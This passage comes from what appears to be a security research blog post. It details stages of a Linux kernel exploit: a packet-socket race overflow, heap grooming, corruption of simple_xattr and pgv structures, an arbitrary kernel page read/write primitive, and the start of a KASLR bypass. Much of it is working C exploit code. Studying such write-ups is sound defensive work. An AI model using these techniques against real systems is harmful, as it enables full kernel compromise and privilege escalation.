nodes&#8217; pointers along the way. In the resulting two-node tree, the leaked xattr&#8217;s rb_node.__rb_parent_color points to its parent (the corrupted xattr, if the corrupted xattr is the root) or its rb_left/rb_right points to the corrupted xattr (if the leaked xattr is the root). Either way, one of the three rb_node pointers contains the corrupted xattr&#8217;s kernel address:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;0f4f1cf1-1e24-4a67-9dcb-36cfeebc15aa&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">u64 parent = (u64)(__rb_parent(leaked_simple_xattr-&gt;rb_node.__rb_parent_color));
u64 left   = (u64)(leaked_simple_xattr-&gt;rb_node.rb_left);
u64 right  = (u64)(leaked_simple_xattr-&gt;rb_node.rb_right);
overflowed_simple_xattr_kernel_address = parent ? parent : (left ? left : right);</code></pre></div><p>From the corrupted xattr&#8217;s address and the known offset between the two xattrs in the leak data (each xattr occupies one order-2 page, so the offset is page_index &#215; 16384), the exploit calculates the kernel address of leaked_content_simple_xattr itself. These two addresses are the foundation for Stage 2.</p><h3>Stage 2: Heap Read/Write via pgv Overlap</h3><p>Stage 1 gave us two things: a heap read primitive (through the corrupted xattr with size = 65536) and the kernel addresses of two simple_xattr objects. But the heap read only works through getxattr() &#8212; a one-directional, read-only channel. To build a full read/write primitive, the exploit triggers the race a <strong>second time</strong>, this time overflowing into a pgv array to gain direct memory-mapped access to a simple_xattr in kernel memory.</p><h4>The target: pgv arrays instead of xattrs</h4><p>The key idea: if the overflow writes a <strong>kernel address</strong> into a pgv[N].buffer entry of some ring buffer, then mmap()&#8217;ing that ring buffer maps pgv[N].buffer into userspace. If pgv[N].buffer points to a simple_xattr object, the attacker gets a direct userspace pointer to live kernel data &#8212; readable and writable without any syscall.</p><p>The exploit creates 256 packet sockets and gives each one a TX ring buffer whose pgv array is large enough to be allocated from order-2 pages (16 KB). The size is chosen by setting the block count to MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;39b172b9-bc25-4586-a553-e935dd0dc08d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2  ((KMALLOC_8K_SIZE / sizeof(struct pgv)) + 1)

// = (8192 / 8) + 1 = 1025</code></pre></div><p>Each ring buffer block is tracked by one struct pgv (a single 8-byte pointer), so 1,025 blocks means a pgv array of 1025 &#215; 8 = 8,200 bytes. This goes through kcalloc(1025, sizeof(struct pgv)) inside alloc_pg_vec(). The number 1,025 is deliberately one more than 1,024: with exactly 1,024 blocks, the array would be 8,192 bytes, which fits inside the kmalloc-8k slab bucket &#8212; and slab allocations don&#8217;t participate in page-level grooming. By requesting 1,025 blocks (8,200 bytes), the allocation exceeds the kmalloc-8k limit and falls through to the <strong>page allocator</strong>, which serves it from order-2 pages (16 KB). This is essential because the pgv arrays must land on order-2 pages to match the size of the holes created during heap grooming. Order-3 pages would also work but would waste twice as much memory.</p><h4>Heap grooming</h4><p>The grooming follows the same pattern as Stage 1, with reduced allocation counts (since memory is limited):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;365864f3-fb4d-460e-a74c-63929a92b023&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Step 1: Drain order-2 freelist &#8212; 256 &#215; 16 KB pages
Step 2: Drain order-3 freelist &#8212; 128 &#215; 32 KB pages (drain_pages_order3_1)
Step 3: More order-3 drain &#8212; 128 &#215; 32 KB pages (drain_pages_order3_2)
Step 4: Configure victim socket &#8212; RX ring allocates 2 &#215; 32 KB blocks (high addresses)
Step 5: Free drain_pages_order3_1 &#8212; returns 128 &#215; 32 KB pages
Step 6: Spray 256 pgv arrays &#8212; each 8,200 bytes, served from order-2 pages
         (buddy allocator splits the freed order-3 pages into order-2 halves)
Step 7: Free some pgv arrays to create holes for reclamation</code></pre></div><p>The hole creation is sparse &#8212; 6 holes every 16 entries starting at index 64:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;d14064f0-139d-4bba-9738-894d9bea6393&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">for (int i = 64, free_count = 0;
     i &lt; 256 &amp;&amp; free_count &lt; 6;
     i += 16, free_count++) {
    free_pages(spray_pg_vec_packet_sockets[i]);
}</code></pre></div><p>The reclamation buffer (from the second race trigger) will land in one of these holes, with sprayed pgv arrays on both sides.</p><h4>Triggering the second race</h4><p>The exploit runs the same two-race sequence as Stage 1 &#8212; identical victim socket configuration, same mutex-barrier technique for race 1, same BPF filter + timer interrupt for race 2 &#8212; but with one difference: the packet data now contains leaked_content_simple_xattr_kernel_address (obtained from Stage 1) instead of XATTR_SIZE_MAX:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;aaccf404-9102-4d88-a850-b21e9bfe09fa&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">u8 packet_data[128] = {};
*(u64 *)(packet_data) = simple_xattr_kernel_address;</code></pre></div><p>The overflow arithmetic is identical: the 8-byte write lands at offset 24 past the reclamation block boundary, which is the 4th entry (index 3) of the adjacent pgv array &#8212; because 24 / sizeof(struct pgv) = 24 / 8 = 3.</p><p>So after the overflow:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;d2c34262-3547-47df-ab85-99341b97a24f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">adjacent_pgv[3].buffer = leaked_content_simple_xattr_kernel_address.</code></pre></div><h4>Detecting the overflow</h4><p>The exploit iterates through all 256 sprayed ring buffers, mmap()s each one, and checks whether the data at block 3 (offset 3 &#215; PAGE_SIZE) looks like a simple_xattr:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;b37099d9-7541-4e53-b6e5-6e436d2801c3&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">for (int i = 0; i &lt; 256 &amp;&amp; !overflow_success; i++) {
    void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                     spray_pg_vec_packet_sockets[i], 0);

    struct simple_xattr *simple_xattr = mem + 3 * PAGE_SIZE;
    if (is_data_look_like_simple_xattr(simple_xattr, KMALLOC_8K_SIZE)) {
        overflowed_pg_vec_packet_socket = spray_pg_vec_packet_sockets[i];
        overflow_success = true;
    }
    munmap(mem, mmap_size);
}</code></pre></div><p>The recognition heuristic checks that the rb_node pointers are valid kernel addresses (using __rb_parent() to mask the color bit), that name is a valid kernel address, and that size == 8192.</p><p>When a match is found, the exploit saves this socket as overflowed_pg_vec_packet_socket and closes all the other sprayed sockets to reclaim memory.</p><h4>The resulting primitive</h4><p>From this point, the exploit can access the leaked_content_simple_xattr kernel object at will:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;57f7f1e4-1619-487e-b800-6072cf173872&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                 overflowed_pg_vec_packet_socket, 0);
struct simple_xattr *manipulated_simple_xattr = mem + 3 * PAGE_SIZE;
// Now manipulated_simple_xattr points directly to live kernel memory</code></pre></div><p>This gives the exploit three capabilities through the &#8220;manipulated simple_xattr&#8221;:</p><ol><li><p><strong>Leak kernel addresses.</strong> The rb_node pointers in the simple_xattr point to other xattr objects in the same inode&#8217;s red-black tree. When the exploit creates a new xattr via setxattr(), the kernel inserts it into the tree and updates the existing nodes&#8217; child pointers. The exploit reads rb_node.rb_right or rb_node.rb_left to discover the new xattr&#8217;s kernel address. This is used repeatedly in Stage 3 to locate freshly allocated pages.</p></li></ol><ol start="2"><li><p><strong>Redirect the name pointer (page reclamation oracle).</strong> The exploit can overwrite manipulated_simple_xattr-&gt;name to point to any kernel address. This turns getxattr() into a boolean oracle for validating page reclamation. In Stage 3, the exploit repeatedly frees pages and tries to reclaim them with ring buffer blocks &#8212; but it needs to confirm each reclamation succeeded (some other kernel subsystem might have grabbed the page first). The technique works as follows: (1) reclaim the freed page via a ring buffer block and mmap it, (2) write a known string like &#8220;security.fake_simple_xattr_name&#8221; into the page, (3) overwrite manipulated_simple_xattr-&gt;name to point at that page&#8217;s kernel address, (4) call getxattr(filepath, &#8220;security.fake_simple_xattr_name&#8221;, ...). The kernel traverses the xattr tree, finds the manipulated xattr, dereferences its name pointer, and does strcmp() against the requested name. If the reclamation worked, the page contains the string the exploit wrote, strcmp() matches, and getxattr() succeeds &#8212; confirming the page is under the exploit&#8217;s control. If something else grabbed the page, strcmp() fails and the exploit knows to retry. The original name pointer is restored immediately after each check.</p></li></ol><ol start="3"><li><p><strong>Link fake objects into the xattr collection.</strong> The exploit modifies rb_node.rb_right or rb_node.rb_left to graft a fake simple_xattr node into the red-black tree (setting the fake node&#8217;s __rb_parent_color to point back to the manipulated xattr as its parent). When removexattr() is later called on the fake xattr, the kernel frees the page at the fake object&#8217;s address &#8212; giving the exploit a targeted page free primitive. This is the key mechanism for Stage 3&#8217;s double-overlapping ring buffer construction.</p></li></ol><h3>Stage 3: Arbitrary Page Read/Write via pgv Overlap</h3><p>Stage 2&#8217;s primitive lets the exploit read and write the fields of a single simple_xattr in kernel memory. That&#8217;s powerful, but limited &#8212; the exploit can only access one object at a fixed address. To read or write <em>any</em> kernel page, the exploit constructs a more general primitive: two ring buffers arranged so that one can overwrite the other&#8217;s pgv array entries, redirecting them to any page-aligned kernel address.</p><p>The construction has three parts: leaking two page addresses, building and linking a fake xattr that spans both pages, then freeing the fake xattr to create the overlap.</p><h4>Part 1: Cleaning up</h4><p>First, the exploit destroys the overflowed_simple_xattr from Stage 1 (the one whose size was corrupted to 65,536). It&#8217;s no longer needed &#8212; the heap read primitive it provided has been superseded by Stage 2&#8217;s direct memory access. After removal, the inode&#8217;s xattr collection contains only the leaked_content_simple_xattr, which is the object the exploit controls through the mmap&#8217;d ring buffer (the &#8220;manipulated simple_xattr&#8221;).</p><p>The exploit saves the original values of the manipulated xattr&#8217;s rb_node pointers and name so it can restore them later &#8212; the kernel&#8217;s xattr traversal code will crash if these pointers are left dangling.</p><h4>Part 2: Leaking page addresses via allocate-read-free</h4><p>The exploit needs two order-2 page addresses. It obtains each one through the same three-step pattern:</p><p><strong>Step 1: Allocate a temporary xattr.</strong> Call setxattr() on the tmpfs file to create a new simple_xattr with value_size = 8192 (order-2 pages). The kernel links it into the xattr collection, updating the manipulated xattr&#8217;s node pointers.</p><p><strong>Step 2: Read the address.</strong> Since the exploit has the manipulated simple_xattr mmap&#8217;d, it can immediately read the updated rb_node pointer to get the new xattr&#8217;s kernel address. The red-black tree may insert the new node as either a right or left child depending on the key comparison, so the exploit checks both:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;9bb624f9-f5f7-4ee8-8f17-8c04c905429c&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">setxattr(filepath, "security.leak_for_name", value, KMALLOC_8K_SIZE, XATTR_CREATE);
if (manipulated_simple_xattr-&gt;rb_node.rb_right)
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr-&gt;rb_node.rb_right;
else
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr-&gt;rb_node.rb_left;</code></pre></div><p><strong>Step 3: Free it.</strong> Call removexattr() to free the temporary xattr. Its page goes back to the order-2 freelist.</p><p>The exploit repeats this pattern twice, obtaining two addresses:</p><ul><li><p>fake_simple_xattr_name_addr &#8212; will hold the fake xattr&#8217;s name string</p></li><li><p>fake_simple_xattr_addr &#8212; will hold the fake xattr structure itself</p></li></ul><h4>Part 3: Reclaiming the freed pages with ring buffer blocks</h4><p>After each address is leaked and the temporary xattr freed, the exploit immediately reclaims the freed page with a ring buffer block:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;678e8976-4c99-47f8-a6ee-1899d12b053a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Reclaim the freed page with a 1-block, order-2 ring buffer
alloc_pages(fake_simple_xattr_name_packet_socket, 1, PAGES_ORDER2_SIZE);</code></pre></div><p>Now the exploit can mmap() this ring buffer to read/write the page at fake_simple_xattr_name_addr. It writes the fake name string into it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;beb5fe71-f85f-4ef5-a140-2d5a71f7f7da&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">void *mem = mmap(NULL, PAGES_ORDER2_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
                 fake_simple_xattr_name_packet_socket, 0);
strcpy(mem, "security.fake_simple_xattr_name");
munmap(mem, PAGES_ORDER2_SIZE);</code></pre></div><p>But how does the exploit know the reclamation succeeded? The freed page might have been reused by something else entirely. The exploit <strong>writes</strong> to the reclaimed page through the newly allocated ring buffer (via mmap), but <strong>reads</strong> through the leaked address (via getxattr). If the read returns what was written, the ring buffer must have landed on the same page the leaked address points to:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;c0789f3d-6e5e-4e69-8c0a-b8cd042db1fa&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Now read through the leaked address: redirect the manipulated xattr's
// name pointer to fake_simple_xattr_name_addr (obtained from Part 2)
manipulated_simple_xattr-&gt;name = (char *)fake_simple_xattr_name_addr;

// Ask the kernel to look up this xattr by name &#8212; the kernel will follow
// the redirected name pointer and strcmp() it against the lookup key
ssize_t ret = getxattr(filepath, "security.fake_simple_xattr_name",
                       value, manipulated_simple_xattr-&gt;size);

// Restore original name pointer
manipulated_simple_xattr-&gt;name = (char *)original_name_pointer;

if (ret == manipulated_simple_xattr-&gt;size) {
    // Success! The kernel read from the leaked address and found the string
    // we wrote via the ring buffer. The two refer to the same physical page.</code></pre></div><p>If getxattr() succeeds, the ring buffer block and the leaked address map to the same page &#8212; the exploit now controls that page&#8217;s contents. If it fails, the exploit frees the ring buffer and retries.</p><p>The same process is repeated for fake_simple_xattr_addr, using a second packet socket (fake_simple_xattr_packet_socket).</p><h4>Part 4: Building and linking the fake xattr</h4><p>With both pages reclaimed and validated, the exploit writes a fake simple_xattr structure into the page at fake_simple_xattr_addr:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;10ae6fad-9bd2-4eb5-81d8-e0a831e4d2d6&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct simple_xattr *fake_simple_xattr = mem;
fake_simple_xattr-&gt;rb_node.__rb_parent_color = leaked_content_simple_xattr_kernel_address;
fake_simple_xattr-&gt;name = (void *)fake_simple_xattr_name_addr;
fake_simple_xattr-&gt;size = KMALLOC_8K_SIZE;</code></pre></div><p>The fake xattr&#8217;s __rb_parent_color is set to the kernel address of the manipulated xattr (the leaked_content_simple_xattr from Stage 1). This is because the red-black tree removal algorithm needs to find the parent node. The rb_right and rb_left fields are left as NULL (zeroed by memset), indicating this is a leaf node &#8212; simplifying the tree removal path. The name pointer points to fake_simple_xattr_name_addr (where the string &#8220;security.fake_simple_xattr_name&#8221; lives) and size is set to 8,192 bytes.</p><p>Now the exploit links this fake xattr into the inode&#8217;s red-black tree by modifying the manipulated xattr:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;4f0a6c97-5c35-47b8-bc95-ce9480996878&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">if (is_right_node)
    manipulated_simple_xattr-&gt;rb_node.rb_right = (void *)fake_simple_xattr_addr;
else
    manipulated_simple_xattr-&gt;rb_node.rb_left = (void *)fake_simple_xattr_addr;</code></pre></div><p>The is_right_node variable tracks which child pointer was used when the temporary xattr was originally inserted (from Part 2&#8217;s second leak). The exploit reuses the same child slot, ensuring the tree structure remains consistent.</p><p>The kernel now considers this a real xattr in the collection.</p><h4>Part 5: Creating the pgv overlap</h4><p>Here is where the exploit reaches its goal. The exploit calls:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;73e76827-d874-435e-8b80-d237f6bb4ca3&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">removexattr(filepath, &#8220;security.fake_simple_xattr_name&#8221;);</code></pre></div><p>The kernel finds the fake xattr, unlinks it from the red-black tree, and frees both allocations separately:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;919a9592-4cdc-43cd-8587-44e6a652f834&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Kernel&#8217;s simple_xattr removal path:
kfree(xattr-&gt;name);   // frees Page A (fake_simple_xattr_name_addr)
kvfree(xattr);         // frees Page B (fake_simple_xattr_addr)</code></pre></div><p>Both pages return to the order-2 freelist. But the two ring buffers that previously reclaimed these pages still have their pgv[0].buffer pointing at them &#8212; the pointers were never updated:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;b370732e-0c64-458f-a6e0-4793edba9304&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">fake_simple_xattr_name_packet_socket &#8594; pgv[0].buffer = Page A (now freed)
fake_simple_xattr_packet_socket      &#8594; pgv[0].buffer = Page B (now freed)
Order-2 freelist: [Page A, Page B]</code></pre></div><p>These are <strong>dangling</strong> pointers &#8212; an intentional use-after-free. Immediately after the free, the exploit allocates a <strong>third</strong> ring buffer:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;f3c910c3-37be-450c-854e-ae822ab0bff7&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">alloc_pages(overwritten_pg_vec_packet_socket,
            MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2,  // 1025 blocks
            PAGE_SIZE);</code></pre></div><p>This ring buffer has 1,025 blocks, so its pgv array is 1025 &#215; 8 = 8,200 bytes &#8212; allocated via kcalloc() in alloc_pg_vec(), rounded up to kmalloc-8k, and served from order-2 pages (the same page order as the just-freed fake xattr pages). With two order-2 pages just freed, the page allocator grabs one of them for the pgv array &#8212; say Page A:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;28705845-88f5-4358-a03f-f4ceb690a690&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">fake_simple_xattr_name_packet_socket &#8594; pgv[0].buffer = Page A &#8592; STILL POINTS HERE
fake_simple_xattr_packet_socket      &#8594; pgv[0].buffer = Page B (still freed)
overwritten_pg_vec_packet_socket     &#8594; pgv array lives on Page A</code></pre></div><p>Page A is now <strong>simultaneously</strong> block 0 of fake_simple_xattr_name_packet_socket (stale dangling pointer) and the pgv array of the third ring buffer (new allocation). When the exploit mmaps fake_simple_xattr_name_packet_socket, the kernel looks up pgv[0].buffer, finds Page A, and maps it into userspace &#8212; but Page A now contains the third ring buffer&#8217;s pgv entries. That&#8217;s the <strong>pgv overlap</strong>.</p><p>The exploit doesn&#8217;t know in advance which page the allocator will pick, so it mmaps both dangling ring buffers and checks which one contains data that looks like a pgv array (consecutive kernel pointers):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;242ef550-b048-43d0-ae2a-8dbc0011ebed&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">void *mem  = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_name_packet_socket, 0);
void *mem1 = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_packet_socket, 0);

if (mem != MAP_FAILED &amp;&amp; is_data_look_like_pgv(mem, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_name_packet_socket;
} else if (mem1 != MAP_FAILED &amp;&amp; is_data_look_like_pgv(mem1, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_packet_socket;
}

packet_socket_with_overwritten_pg_vec = overwritten_pg_vec_packet_socket;</code></pre></div><p>The is_data_look_like_pgv() function checks that each entry has a valid kernel address (upper 16 bits = 0xFFFF), which matches a pgv array filled with allocated block pointers. Whichever dangling ring buffer&#8217;s mmap reveals pgv entries is the one whose page was reclaimed &#8212; it becomes the &#8220;master.&#8221;</p><h4>The resulting primitive</h4><p>The exploit now has two ring buffers in a master-puppet relationship:</p><ul><li><p><strong>packet_socket_to_overwrite_pg_vec</strong> (the &#8220;master&#8221;): Its ring buffer block overlaps the puppet&#8217;s pgv array. Mmapping it exposes the raw pgv entries as writable memory.</p></li><li><p><strong>packet_socket_with_overwritten_pg_vec</strong> (the &#8220;puppet&#8221;): Its pgv entries can be arbitrarily modified by the master. Mmapping it maps whatever pages the (now-modified) pgv entries point to.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oYxW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oYxW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 424w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 848w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oYxW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png" width="1456" height="805" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:805,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:351944,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/189789999?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oYxW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 424w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 848w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!oYxW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874b03b3-cc14-46b5-b324-ceb1fa4fcd6e_2520x1394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To read or write any page-aligned kernel address:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;9bac391e-0f0a-410b-b689-d73d384673f6&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">void *abr_page_read_write_primitive_mmap(
    struct abr_page_read_write_primitive *primitive,
    u64 page_aligned_addr)
{
    // Step 1: mmap the master &#8212; its block IS the puppet's pgv array
    void *mem = mmap(NULL, primitive-&gt;overwrite_pg_vec_mmap_size,
                     PROT_READ | PROT_WRITE, MAP_SHARED,
                     primitive-&gt;packet_socket_to_overwrite_pg_vec, 0);
    struct pgv *pgv = mem;
    pgv[0].buffer = (char *)page_aligned_addr;   // redirect puppet's block 0
    munmap(mem, primitive-&gt;overwrite_pg_vec_mmap_size);

    // Step 2: mmap the puppet &#8212; block 0 now maps to target_addr
    mem = mmap(NULL, primitive-&gt;overwritten_pg_vec_mmap_size,
               PROT_READ | PROT_WRITE, MAP_SHARED,
               primitive-&gt;packet_socket_with_overwritten_pg_vec, 0);
    return mem;   // userspace pointer to arbitrary kernel page
}</code></pre></div><p>The caller receives a userspace pointer that directly maps the target kernel page. Reading from it reads kernel memory; writing to it writes kernel memory. No syscalls, no filters, no size limits &#8212; just raw memcpy. The only constraint is page alignment.</p><p>This primitive is used by Stage 4 (reading pipe buffers to find a kernel code pointer) and Stage 5 (overwriting a syscall handler with shellcode).</p><h3>Stage 4: KASLR Bypass via Pipe Buffer</h3><p>With arbitrary page read/write, the exploit can access any kernel page &#8212; but it doesn&#8217;t yet know <em>where</em> anything is. KASLR (Kernel Address Space Layout Randomization) randomizes the kernel&#8217;s base address at each boot, so the addresses of symbols like init_cred, init_fs, and syscall handlers are unknown. To defeat KASLR, the exploit needs to find a single kernel <strong>code pointer</strong> &#8212; a pointer into the kernel&#8217;s .text or .data segment &#8212; and subtract a known offset to recover the base address.</p><h4>Background: pipe buffers and anon_pipe_buf_ops</h4><p>Linux pipes are backed internally by an array of struct pipe_buffer entries, each describing one segment of data in the pipe:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;92ba3c7a-eae5-41b2-8de9-5ec1657755e9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct pipe_buffer {
    struct page *page;              // pointer to the data page
    unsigned int offset, len;       // offset and length within the page
    const struct pipe_buf_operations *ops;  // &#8594; anon_pipe_buf_ops
